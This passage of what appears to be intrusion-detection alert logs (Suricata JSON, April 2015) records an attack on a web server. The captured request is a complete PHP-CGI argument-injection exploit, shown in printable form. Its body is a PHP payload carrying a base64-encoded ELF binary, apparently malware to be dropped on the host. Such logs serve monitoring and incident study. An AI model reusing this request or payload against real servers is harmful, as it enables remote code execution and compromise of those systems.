kqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016978,"rev":3,"signature":"ET WEB_SERVER safe_mode PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016979,"rev":4,"signature":"ET WEB_SERVER suhosin.simulation PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFB